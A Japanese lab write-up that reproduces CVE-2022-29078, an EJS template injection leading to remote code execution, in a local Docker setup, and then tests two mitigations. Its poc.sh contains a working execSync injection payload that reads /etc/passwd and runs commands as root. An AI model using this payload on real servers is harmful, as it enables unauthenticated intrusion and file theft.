
DockerベースのPoC(CVE-2022-29078向け):outputFunctionNameインジェクションを介した認証不要のリモートコード実行に至るEJS SSTI。再現手順と2つの緩和策を含みます。
ホワイトハットスクール 第4期 (32班) - 우상범 (@taka3636)
EJS < 3.1.7 のサーバーサイドテンプレートインジェクション(SSTI)脆弱性(CVE-2022-29078)であり、認証なしでリモートからサーバーの任意のコマンドを実行(RCE)できます。本ドキュメントでは、Dockerで脆弱な環境を構築し、PoCを用いてRCEを再現し、2つの対策(ライブラリのアップグレード・安全な入力の受け渡し)を検証する。
EJS(Embedded JavaScript Templates)は、Node.jsエコシステムで広く使われているテンプレートエンジンです。<h1>Hello <%= id %></h1> のように、HTML内に<% %>タグでJavaScriptを埋め込み、動的な画面を生成します。内部的には、EJSはテンプレート文字列をJavaScript関数にコンパイルした後、実行して最終的なHTMLを生成します。つまり、「文字(テンプレート)を実行コード(関数)に変換する」コードジェネレーターであり、この性質が本脆弱性の根本的な背景となっています。
EJS < 3.1.7 は、レンダリングオプション outputFunctionName の値を検証せずにコンパイルされた関数ソースに挿入します。アプリケーションがユーザー入力をそのままレンダリングオプションとして渡すと、攻撃者はこのオプションを汚染し、サーバー上で任意のコードを実行(RCE)できます。認証なしでリモートからサーバーを完全に掌握できるため、深刻度は非常に高いです。
< 3.1.7EJS/CVE-2022-29078/
├── docker-compose.yml # 127.0.0.1へのバインド(隔離)
├── Dockerfile # node:18.20.4(バージョン固定)
├── app/
│ ├── server.js # 脆弱なExpressアプリ
│ ├── package.json # ejs 3.1.6 正確に固定
│ └── views/page.ejs
├── poc.sh # PoC実行スクリプト
└── 1.png ~ 8.png # スクリーンショット
18.20.4 固定3.1.6(記号なしで正確に固定 — ^/~ を使用するとパッチバージョンがインストールされ再現不可)4.18.2docker compose up -d --build 一度で完了します。

以下の2つの条件が同時に成立する場合、攻撃が成立します。
< 3.1.7 が outputFunctionName を検証せずにコードとして挿入する// app/server.js — 脆弱な箇所
app.get('/page', (req, res) => {
res.render('page', req.query); // req.query 全体をレンダリングオプションとして渡す
});
Expressはres.render('page', req.query)において、ユーザー入力(req.query)をレンダリングオプションとしてそのままEJSに渡します。このとき、qsパーサーがsettings[view options][outputFunctionName]のような大括弧表記をネストされたオブジェクトとしてパースし、その値がEJSコンパイルオプションoutputFunctionNameにマージされます。つまり、ユーザーがオプションの場所に仕込んだコード(関数)がオプションに付随してEJSに一緒に渡されます。 EJSはこの値をコンパイル関数の先頭に次のように挿入します。
var <outputFunctionName値> = __append;
正常な値であればvar myOut = __append;のように無害ですが、値にセミコロンで文を区切りコードを挿入すると、そのコードがコンパイルされた関数の実行時にそのまま動作します。この場所にexecSync(...)を挿入することで、特定のファイルを読み取ったりシステムコマンドを実行させることができます。
前提: Docker + Docker Composeがインストールされており、ビルド時にインターネット接続が必要。
# 1) クローンしてフォルダに移動
git clone https://github.com/taka3636/CVE-2022-29078.git
cd CVE-2022-29078
# 2) ビルドと起動
docker compose up -d --build
docker compose ps
# 3) 正常動作の確認
curl "http://127.0.0.1:3000/page?id=world" # -> <h1>Hello world</h1>
# 4) PoC実行
bash poc.sh
# 5) 後片付け
docker compose down

poc.sh — outputFunctionNameオプションインジェクションにより、3つのコマンドをサーバー上で実行し、結果を取得します。[1] id(実行主体)、[2] /etc/passwd(任意のファイル読み取り)、[3] uname(実行場所)。
#!/usr/bin/env bash
# CVE-2022-29078 : EJS SSTI (outputFunctionName 옵션 인젝션) -> RCE
set -e
TARGET="http://127.0.0.1:3000"
run() { # $1 = URL 인코딩된 셸 명령 (컨테이너에서 실행 후 결과 회수)
curl -g -s -o /dev/null \
"${TARGET}/page?id=x&settings[view%20options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('$1');s"
docker compose exec -T vuln-ejs cat /tmp/out
}
echo "[1] 실행 권한 확인 (id) — root 여부"
run "id%20%3E%20/tmp/out"
echo "[2] 임의 파일 읽기 — /etc/passwd"
run "cat%20/etc/passwd%20%3E%20/tmp/out"
echo "[3] 시스템 정보 노출 — uname"
run "uname%20-a%20%3E%20/tmp/out"
curl -g : URLの角括弧をグロブとして解釈しないために必須(ないとcurl: (3) bad range)%20, リダイレクト > %3Epoc.shの実行結果。正常なリクエスト(id=world)はHello worldのみを返しますが、outputFunctionNameインジェクションで注入したコマンドがサーバー上で実行され、その出力が取得されます。

id → uid=0(root) gid=0(root) : 注入したコマンドがroot権限で実行されました。/etc/passwd → システムアカウントファイルの内容がそのまま返されました : サーバーの任意のファイルを読み取ることが可能(機密性の侵害)。uname → ホスト名が326f6f1b04b3(コンテナID)であり、VMホスト名(ubuntu-QEMU-Virtual-Machine)と異なる : コマンドがホストではなくコンテナ内部で実行されたことを証明しています。つまり、root権限はsudoによるものではなく、脆弱なサーバープロセス(コンテナのnode = デフォルトroot)に起因するものです。認証なしのリモートリクエスト1つで、root権限でのコマンド実行と任意のファイル読み取りが可能です。これがCVE-2022-29078です。
対策1 — ライブラリのアップグレード(根本的な対策)
package.jsonのejsを3.1.7以上に引き上げます。3.1.7+ではoutputFunctionNameを正規表現/^[a-zA-Z_$][0-9a-zA-Z_$]*$/で検証し、セミコロンなどの非識別子文字を拒否するため、同じ攻撃がコード実行前にブロックされます。
Error: outputFunctionName is not a valid JS identifier.


対策2 — 安全な入力の受け渡し(アプリケーション防御)
脆弱なバージョン(3.1.6)であっても、ユーザー入力をそのまま渡さずに必要な値のみを渡せば、settings[view options]のマージ経路がなくなり、オプションの汚染が不可能になります。正常な機能は維持されます。
// 変更前(脆弱)
res.render('page', req.query);
// 変更後(安全)
res.render('page', { id: req.query.id });


推奨: ライブラリの最新化(根本的な対策)とユーザー入力の最小限の受け渡し(多層防御)を両方適用します。さらに、コンテナを非rootユーザーで実行すると、RCE時の被害範囲を減らすことができます。